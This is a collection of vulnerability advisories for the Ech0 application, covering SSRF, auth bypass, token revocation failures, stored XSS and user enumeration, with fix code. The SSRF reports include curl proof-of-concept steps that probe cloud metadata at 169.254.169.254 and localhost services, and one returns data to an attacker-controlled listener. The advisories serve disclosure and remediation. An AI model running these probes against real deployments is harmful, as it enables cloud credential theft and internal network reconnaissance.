Ech0 through 4.2.1 contains a server-side request forgery vulnerability in the validateWebhookURL function (webhooksettingservice.go), which only validates literal IP addresses via net.ParseIP() and fails to reject hostnames that DNS-resolve to private or internal IPs (e.g., 169.254.169.254.nip.io). An attacker with admin privileges can create a webhook with such a hostname to bypass validation and cause the server to make requests to internal services, cloud metadata endpoints, and private network resources. The issue is fixed in 4.4.3.
Ech0 before 4.7.3 contains an authentication bypass vulnerability in the PUT /api/echo/like/:id endpoint that allows unauthenticated attackers to increment engagement metrics without identity verification or rate limiting. Attackers can send repeated requests to arbitrarily inflate the favcount field for any known echo identifier, compromising the integrity of engagement metrics and social ranking systems.
Ech0 version 4.3.4 and earlier fails to reliably enforce scoped access token (least-privilege) restrictions on several privileged admin routes. Multiple privileged endpoints (e.g., /api/inbox, /api/panel/comments, /api/backup/export) omit scope checks and authorize based only on the user's admin role, and the backup export handler discards token scope metadata entirely. An attacker holding a deliberately limited (low-scope) admin access token can reach broader privileged functionality than intended, including reading the inbox and exporting a full database backup ZIP archive. Fixed in 4.4.3.
Ech0 before 4.7.3 fails to properly revoke access tokens created with never-expire option, allowing attackers to maintain perpetual authenticated access after token theft. Three independent revocation mechanisms fail: logout panics on nil ExpiresAt field, RevokeToken skips when remainTTL is zero, and admin delete does not blacklist the JTI, leaving stolen tokens cryptographically valid until JWT secret rotation.
Ech0 before 4.7.3 contains a stored cross-site scripting vulnerability in the public RSS feed where tag names and markdown content are rendered without HTML escaping. Attackers with admin privileges can inject malicious tag names or raw HTML in echo content that executes as JavaScript in RSS readers that render HTML-type summaries, affecting anonymous subscribers and other users.
Summary
The GET /api/website/title endpoint accepts an arbitrary URL via the websiteurl query parameter and makes a server-side HTTP request to it without any validation of the target host or IP address. The endpoint requires no authentication. An attacker can use this to reach internal network services, cloud metadata endpoints (169.254.169.254), and localhost-bound services, with partial response data exfiltrated via the HTML <title> tag extraction.
Details
The vulnerability exists in the interaction between four components:
1. Route registration — no authentication (internal/router/common.go:11): go appRouterGroup.PublicRouterGroup.GET("/website/title", h.CommonHandler.GetWebsiteTitle()) The PublicRouterGroup is created at internal/router/router.go:34 as r.Group("/api") with no auth middleware attached (unlike AuthRouterGroup which uses JWTAuthMiddleware).
2. Handler — no input validation (internal/handler/common/common.go:106-127): go func (commonHandler CommonHandler) GetWebsiteTitle() gin.HandlerFunc { return res.Execute(func(ctx gin.Context) res.Response { var dto commonModel.GetWebsiteTitleDto if err := ctx.ShouldBindQuery(&dto); err != nil { ... } title, err := commonHandler.commonService.GetWebsiteTitle(dto.WebSiteURL) ... }) } The DTO (internal/model/common/commondto.go:155-156) only enforces binding:"required" — no URL scheme or host validation.
3. Service — TrimURL is cosmetic (internal/service/common/common.go:122-125): go func (s CommonService) GetWebsiteTitle(websiteURL string) (string, error) { websiteURL = httpUtil.TrimURL(websiteURL) body, err := httpUtil.SendRequest(websiteURL, "GET", httpUtil.Header{}, 10time.Second) ... } TrimURL (internal/util/http/http.go:16-26) only calls TrimSpace, TrimPrefix("/"), and TrimSuffix("/"). No SSRF protections.
4. HTTP client — unrestricted outbound request (internal/util/http/http.go:53-84): go client := &http.Client{ Timeout: clientTimeout, Transport: &http.Transport{ TLSClientConfig: &tls.Config{ InsecureSkipVerify: true, }, }, } req, err := http.NewRequest(method, url, nil) ... resp, err := client.Do(req) The client follows redirects (Go default), skips TLS verification, and has no restrictions on target IP ranges.
The response body is parsed for <title> tags and the extracted title is returned to the attacker, providing a data exfiltration channel for any response containing HTML title elements.
PoC
Step 1: Probe cloud metadata endpoint (AWS) bash curl -s 'http://localhost:8080/api/website/title?websiteurl=http://169.254.169.254/latest/meta-data/' If the Ech0 instance runs on AWS EC2, the server will make a request to the instance metadata service. While the metadata response is not HTML, this confirms network reachability.
Step 2: Probe internal localhost services bash curl -s 'http://localhost:8080/api/website/title?websiteurl=http://127.0.0.1:6379/' Probes for Redis on localhost. Connection success/failure and error messages reveal internal service topology.
Step 3: Exfiltrate data from internal web services with HTML title tags bash curl -s 'http://localhost:8080/api/website/title?websiteurl=http://internal-admin-panel.local/' If the internal service returns an HTML page with a <title> tag, its content is returned to the attacker.
Step 4: Confirm with a controlled external server bash On attacker machine: python3 -c "from http.server import HTTPServer, BaseHTTPRequestHandler class H(BaseHTTPRequestHandler): def doGET(self): self.sendresponse(200) self.sendheader('Content-Type','text/html') self.endheaders() self.wfile.write(b'<html><head><title>SSRF-CONFIRMED</title></head></html>') HTTPServer(('0.0.0.0',9999),H).serveforever()" &
From any client: curl -s 'http://<ech0-host>:8080/api/website/title?websiteurl=http://<attacker-ip>:9999/' Expected response contains "data":"SSRF-CONFIRMED", proving the server made an outbound request to the attacker-controlled URL.
Impact
- Cloud credential theft: An attacker can reach cloud metadata services (AWS IMDSv1 at 169.254.169.254, GCP, Azure) to steal IAM credentials, API tokens, and instance configuration data. - Internal network reconnaissance: Port scanning and service discovery of internal hosts that are not directly accessible from the internet. - Localhost service interaction: Access to services bound to 127.0.0.1 (databases, caches, admin panels) that rely on network-level isolation for security. - Firewall bypass: The server acts as a proxy, allowing attackers to bypass network ACLs and reach otherwise-protected internal infrastructure. - Data exfiltration: Partial response content is leaked through the <title> tag extraction. While limited, this is sufficient to extract sensitive data from services that return HTML responses.
The attack requires no authentication and can be performed by any anonymous internet user with network access to the Ech0 instance.
Recommended Fix
Add URL validation in GetWebsiteTitle to block requests to private/reserved IP ranges and restrict allowed schemes. In internal/service/common/common.go:
go import ( "net" "net/url" )
func isPrivateIP(ip net.IP) bool { privateRanges := []string{ "127.0.0.0/8", "10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", "169.254.0.0/16", "::1/128", "fc00::/7", "fe80::/10", } for , cidr := range privateRanges { , network, := net.ParseCIDR(cidr) if network.Contains(ip) { return true } } return false }
func (s CommonService) GetWebsiteTitle(websiteURL string) (string, error) { websiteURL = httpUtil.TrimURL(websiteURL)
// Validate URL scheme parsed, err := url.Parse(websiteURL) if err != nil || (parsed.Scheme != "http" && parsed.Scheme != "https") { return "", errors.New("only http and https URLs are allowed") }
// Resolve hostname and block private IPs host := parsed.Hostname() ips, err := net.LookupIP(host) if err != nil { return "", fmt.Errorf("failed to resolve hostname: %w", err) } for , ip := range ips { if isPrivateIP(ip) { return "", errors.New("requests to private/internal addresses are not allowed") } }
body, err := httpUtil.SendRequest(websiteURL, "GET", httpUtil.Header{}, 10time.Second) // ... rest unchanged }
Additionally, consider: 1. Removing InsecureSkipVerify: true from SendRequest in internal/util/http/http.go:69 2. Disabling redirect following in the HTTP client (CheckRedirect returning http.ErrUseLastResponse) or re-validating the target IP after each redirect to prevent DNS rebinding 3. Adding rate limiting to this endpoint
Summary
Ech0 implements link preview (editor fetches a page title) through GET /api/website/title. That is legitimate product behavior, but the implementation is unsafe: the route is unauthenticated, accepts a fully attacker-controlled URL, performs a server-side GET, reads the entire response body into memory (io.ReadAll). There is no host allowlist, no SSRF filter, and InsecureSkipVerify: true on the outbound client.
Attacker outcome : Anyone who can reach the instance can force the Ech0 server to open HTTP/HTTPS URLs of their choice as seen from the server’s network position (Docker bridge, VPC, localhost from the process view). Go’s default http.Client follows redirects (unless disabled). Redirect chains can move the server-side request from an allowed-looking host to an internal target; the code does not disable this in SendRequest.
Affected Components
Ech0 codebase:
- internal/handler/common/common.go Handles the /api/website/title endpoint and accepts user-controlled URL input.
- internal/service/common/common.go Processes the request and invokes the outbound HTTP fetch (GetWebsiteTitle).
- internal/util/http/http.go Performs the HTTP request (SendRequest) with the following insecure configurations: - No URL validation or allowlist - Redirects enabled (default client behavior) - InsecureSkipVerify: true
PoC
Environment: Ech0 listening on http://127.0.0.1:6277 (e.g. Docker image sn0wl1n/ech0:latest). No cookies or Authorization header.
Step 1 — baseline: unauthenticated server-side fetch (public URL):
bash curl.exe -sS -m 20 "http://127.0.0.1:6277/api/website/title?websiteurl=https://example.com"
Observed result (verified): HTTP 200, JSON with code: 1 and data Example Domain — proves the Ech0 process performed an outbound GET without any client auth.
Step 2 — impact: host-bound page + recorded leak (repo PoC file) Committed PoC page: pocssrfproof.html
1. From poc file directory, listen on 0.0.0.0 (port 9999):
bash python -m http.server 9999 --bind 0.0.0.0
2. Docker Desktop (Windows / macOS): Ech0 in Docker fetches the host via host.docker.internal:
bash curl.exe -sS -m 20 "http://127.0.0.1:6277/api/website/title?websiteurl=http://host.docker.internal:9999/pocssrfproof.html"
Recorded response (verified this workspace, Ech0 4.2.2 in Docker):
json {"code":1,"msg":"获取网站标题成功","data":"ECH0SSRFPOCLEAK2026"}
Python server log: GET /pocssrfproof.html → 200 (proves the server/container pulled the page from your host).
Leak channel: the backend reads the full HTML body before parsing (see io.ReadAll in SendRequest).
Impact
- Verified: Unauthenticated callers can make the Ech0 process issue server-side HTTP(S) requests to internal/reserved targets reachable from that process (PoC Step 2: host-reachable listener reflected in JSON). - Code-level: The full response is read into memory (io.ReadAll); only the title string is returned. Combined with default HTTP redirect following (standard http.Client behavior; not disabled here), the effective request graph is larger than a single URL. - TLS: InsecureSkipVerify: true means misissued or intercepted TLS to internal HTTPS services is still accepted from the server’s perspective. - Deployment-dependent: Where routing allows (typical cloud VMs), 169.254.169.254-class endpoints are in scope for the same code path; treat as high. - DOS(Denial of Service): reading the whole body into memory with io.ReadAll is a DoS vector if you point it at a massive file.
Remediation
- Enforce SSRF-safe URL policy: allow only needed schemes/hosts; block link-local, metadata, and loopback unless explicitly required. - Remove InsecureSkipVerify; use normal TLS verification. - Limit redirects (disable or cap hops; re-validate each target). - Add response size / timeout limits; optionally restrict egress at the network layer.
Summary GET /api/allusers is mounted as a public endpoint and returns user records without authentication. This allows remote unauthenticated user enumeration and exposure of user profile metadata.
Details The route is registered under public routes:
- internal/router/user.go:17 - appRouterGroup.PublicRouterGroup.GET("/allusers", h.UserHandler.GetAllUsers())
The handler itself is documented as requiring authentication:
- internal/handler/user/user.go:177-185 - API docs/annotations indicate auth requirement (@Security ApiKeyAuth).
PoC
1) Negative control: endpoint that should require auth
Request: bash curl -i "http://localhost:6277/api/user"
Response: bash HTTP/1.1 401 Unauthorized Access-Control-Allow-Headers: Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE, PATCH, PUT Access-Control-Expose-Headers: Content-Length, Access-Control-Allow-Origin, Access-Control-Allow-Headers, Content-Type Cache-Control: no-store, no-cache, must-revalidate, proxy-revalidate, max-age=0 Content-Language: zh-CN Content-Type: application/json; charset=utf-8 Expires: 0 Pragma: no-cache Surrogate-Control: no-store Date: Sun, 22 Mar 2026 07:21:22 GMT Content-Length: 135
{"code":0,"msg":"未找到令牌,请点击右上角登录","errorcode":"TOKENMISSING","messagekey":"auth.tokenmissing","data":null}
2) Trigger: call public user-list endpoint without auth
Request: bash curl -i "http://localhost:6277/api/allusers"
Response: bash HTTP/1.1 200 OK Access-Control-Allow-Headers: Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE, PATCH, PUT Access-Control-Expose-Headers: Content-Length, Access-Control-Allow-Origin, Access-Control-Allow-Headers, Content-Type Content-Language: zh-CN Content-Type: application/json; charset=utf-8 Date: Sun, 22 Mar 2026 07:21:56 GMT Content-Length: 912
{"code":1,"msg":"获取用户列表成功","data":[{"id":"019d144a-18fa-7db3-a2dd-310604210abd","username":"h1poc17741618931","email":"h1poc17741618931@example.com","isadmin":false,"isowner":false,"avatar":"","locale":"zh-CN"},{"id":"019d144a-1904-7c0a-98ec-656079a82c64","username":"h1poc17741618932","email":"h1poc17741618932@example.com","isadmin":false,"isowner":false,"avatar":"","locale":"zh-CN"},{"id":"019d144a-190b-70f8-89cb-4f8ab46cec9b","username":"h1poc17741618933","email":"h1poc17741618933@example.com","isadmin":false,"isowner":false,"avatar":"","locale":"zh-CN"},{"id":"019d144a-e7dc-7cef-9395-4d0e392a5278","username":"alice","email":"alice@example.com","isadmin":false,"isowner":false,"avatar":"","locale":"zh-CN"},{"id":"019d144a-e7e3-79f3-bb09-0ea758333a54","username":"bob","email":"bob@example.com","isadmin":false,"isowner":false,"avatar":"","locale":"zh-CN"}]}
Impact Vulnerability type: Access control bypass / unauthenticated data exposure. Who is impacted: Any deployment exposing the API to untrusted networks, and all users whose profile metadata can be enumerated. Business/security impact: Enables account reconnaissance and targeted credential attacks.
A fix is available at https://github.com/lin-snow/Ech0/releases/tag/v4.2.0.